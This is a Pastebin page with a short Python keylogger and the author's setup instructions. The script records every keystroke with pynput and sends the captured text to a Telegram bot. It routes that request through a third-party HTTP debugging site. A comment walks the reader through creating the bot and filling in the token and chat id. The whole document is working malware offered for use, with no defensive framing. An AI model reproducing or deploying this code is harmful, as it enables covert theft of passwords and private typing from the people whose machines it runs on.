Advertisement
FlyFar

Python Keylogger Frame | Connected to the robot of Telegram

Jan 7th, 2023
1,323
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.90 KB | None | 0 0
  1. import requests
  2. from pynput import keyboard
  3.  
  4. def send_message(word):
  5.     url = 'https://api.telegram.org/"your robot token"/sendmessage?chat_id="your chat id"&text='+word
  6.  
  7.     data = {'UrlBox':url,
  8.         'AgentList':'Mozila Firefox',
  9.         'VersionsList':'HTTP/1.1',
  10.         'MethodList':'GET'
  11.     }
  12.  
  13.     http_requests = requests.post('https://www.httpdebugger.com/Tools/ViewHttpHeaders.aspx' , data)
  14.  
  15. def listener():
  16.     with keyboard.Listener(on_press= keyboard_log) as lstn:
  17.         lstn.join()
  18.  
  19. list_of_words = []
  20. def keyboard_log(key):
  21.    
  22.     final_string = ''
  23.  
  24.     try:
  25.         key = key.char
  26.         list_of_words.append(key)
  27.    
  28.     except:
  29.         for i in list_of_words:
  30.             final_string += i
  31.        
  32.         send_message(final_string)
  33.         #print('this is final string:', final_string)
  34.         list_of_words.clear()
  35.  
  36.  
  37.  
  38. listener()
  39. keyboard_log(list_of_words)
Tags: Keylogger
Advertisement
Comments
  • FlyFar
    1 year
    # text 0.36 KB | 0 0
    1. 1️⃣ step1:
    2.  
    3. you should creat a new bot in telegram. then you should copy that token and write incpect "write your robot token"
    4.  
    5. 2️⃣ step2:
    6.  
    7. then you need to start your bot
    8.  
    9. 3️⃣ step3:
    10.  
    11. go to @showchatid bot and find your chat id. if you have your account chat id, then you should paste that digit code in line5 in tool, incept "your chat id".
Add Comment
Please, Sign In to add comment
Advertisement